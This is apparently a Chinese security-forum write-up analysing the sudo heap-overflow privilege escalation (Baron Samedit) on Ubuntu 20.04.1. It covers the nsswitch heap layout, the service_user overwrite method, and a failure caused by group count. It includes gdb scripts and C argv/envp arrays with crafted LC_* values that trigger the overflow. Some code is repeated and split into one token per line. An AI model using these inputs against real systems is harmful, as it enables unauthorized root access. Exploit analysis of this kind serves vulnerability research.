发现有漏洞的PoC放出来后就想试试,但是在我自己的ubuntu 20.04.1的环境里blasty、locked的脚本都执行不成功,于是开始自己根据qualys分享的txt来尝试构造poc。
一番折腾后复现成功,也发现了大佬们代码在我环境中执行不成功的原因。感觉这个洞想要写出通用的exp还是得花些功夫的。 特此记录下分析过程,也想和各位师傅共同探讨可行的构造方式。
漏洞的具体分析网上很多了,因此不多赘述,仅总结几点结论:
多啰嗦一句,看到有些曝光的PoC中argv每个参数结尾都有反斜杠,这样会发生“循环溢出”,即argv中的内容也写入溢出后的内存中,且env的内容会写入多次。例如env -i aaaa\ bbb sudoedit -s 123\ 456\
, 则实际写入内存中的数据为123.456.aaaa.bbb.456.aaaa.bbb
。
由于sudo有setuid且属于root用户,于是只要能劫持sudo的控制流那就是以root权限在运行代码,包括新启一个shell。因此大思路很明确:通过一次堆溢出绕过所有防御并执行代码。
qualys给出了三种利用方式,其中第二种(struct service_user overwrite)相对比较稳定,无需爆破,下面主要分析通过此种方法进行利用时的堆布局。
我在我的小破笔记本上参照lockedbyte的fuzz脚本进行测试,一共运行了三天,仅在第一天触发了nss_load_library的崩溃,qualys提到的另两种崩溃都没有发生。其实fuzz脚本是有一些优化空间的,因为有一个能用的样本所以也就懒得改了。
fuzz出的构造如下
根据前面的漏洞分析,将样本改造为如下结构便于控制和分析
利用原理qualys的分析文章说的比较清楚了,大致总结就是覆盖service_user
结构体中的library
成员为NULL,name
为X/X
,则会加载libnss_X/X.so.2
并执行_init()构造函数。崩溃发生是因为library被覆盖为了非空。
接下来重点看一下崩溃发生前的布局时如何形成的。
先看下两个相关的结构体,service_user
(后面简称user)和name_database_entry
(下文简称entry),定义如下
在溢出发生前,__nss_database_lookup2()函数会读取/etc/nsswitch.conf
中的内容并构造相关对象。不贴代码了,跟着调试几遍就能看出来,这里直接给出结论。以我本地环境为例,文件中内容如下:
进入__nss_database_lookup2()前的空闲链表情况如下
接下来函数会进行如下堆分配:
...
A1: 文件读取完后会free第三步中0x80的chunk去tcache。
A2: 一些代码后,在set_cmnd中分配得到0x80的chunk并溢出。
A3: 当调用nss_load_library且参数为我们溢出覆盖的那个user结构体时,劫持完成。
按照利用思路修改envp如下,完成利用。
我是通过sudo gdb启动程序进行调试分析的,也的确利用成功了。但当我切换为普通用户去尝试时,发现利用失败了·· 但是使用sudo运行利用程序,成功了!!要sudo运行还是个什么提权利用??
好一番折腾后,发现是因为在完成上述A1步骤后A2步骤前,程序会进入sudo.c中get_user_groups函数,并执行如下代码(MAX_UID_T_LEN =10)
好巧不巧,我本地user的属于9个组,于是预留的0x80的chunk就被分配给了gid_list··
新建了个用户,利用成功。
回过头来看,初次进入__nss_database_lookup2时的空闲链表状态是完成利用的关键,要求使得溢出chunk和user结构体chunk距离不远且中间的数据被覆盖也不会影响程序执行(最理想的是紧邻或均为freed chunk)。
根据qualys给出的提示,在程序最除运行时,会调用setlocale();而setlocale会分配并释放一些LC环境变量,因此可以在堆靠前的位置制造一些freed chunk, 例如使用LC_ALL可以构造一个其长度大小的bin出来。我一直没有找到稳定的构造方式,当然在整个过程中涉及许多堆的操作,在不同环境也可能会遇到其他问题。希望能和各位师傅一起交流研究。
file
/
usr
/
bin
/
sudoedit
set
env LC_TELEPHONE C.UTF
-
8
@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ
set
env LC_NUMERIC C.UTF
-
8
@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE
set
env AgvAS AKz0\
set
env A AkzE\
set
env A1mPq An\
set
pagination off
r
-
n
-
s
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' '
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x
/
i $pc
q
file
/
usr
/
bin
/
sudoedit
set
env LC_TELEPHONE C.UTF
-
8
@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ
set
env LC_NUMERIC C.UTF
-
8
@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE
set
env AgvAS AKz0\
set
env A AkzE\
set
env A1mPq An\
set
pagination off
r
-
n
-
s
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' '
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x
/
i $pc
q
char
*
s_argv[]
=
{
"/usr/bin/sudoedit"
,
"-s"
,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\"
,
NULL
};
char
*
s_envp[]
=
{
"B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
,
"LC_TELEPHONE=C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ"
,
"LC_NUMERIC=C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE"
,
NULL
};
char
*
s_argv[]
=
{
"/usr/bin/sudoedit"
,
"-s"
,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\"
,
NULL
};
char
*
s_envp[]
=
{
"B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
,
"LC_TELEPHONE=C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ"
,
"LC_NUMERIC=C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE"
,
NULL
};
typedef struct name_database_entry
{
/
*
And the link to the
next
entry.
*
/
struct name_database_entry
*
next
;
/
*
List
of service to be used.
*
/
service_user
*
service;
/
*
Name of the database.
*
/
char name[
0
];
} name_database_entry;
typedef struct service_user
{
/
*
And the link to the
next
entry.
*
/
struct service_user
*
next
;
/
*
Action according to result.
*
/
lookup_actions actions[
5
];
/
*
Link to the underlying library
object
.
*
/
service_library
*
library;
/
*
Collection of known functions.
*
/
void
*
known;
/
*
Name of the service (`files
', `dns'
, `nis', ...).
*
/
char name[
0
];
} service_user;
typedef struct name_database_entry
{
/
*
And the link to the
next
entry.
*
/
struct name_database_entry
*
next
;
/
*
List
of service to be used.
*
/
service_user
*
service;
/
*
Name of the database.
*
/
char name[
0
];
} name_database_entry;
typedef struct service_user
{
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-2-7 21:55
被superyhl编辑
,原因: 图挂了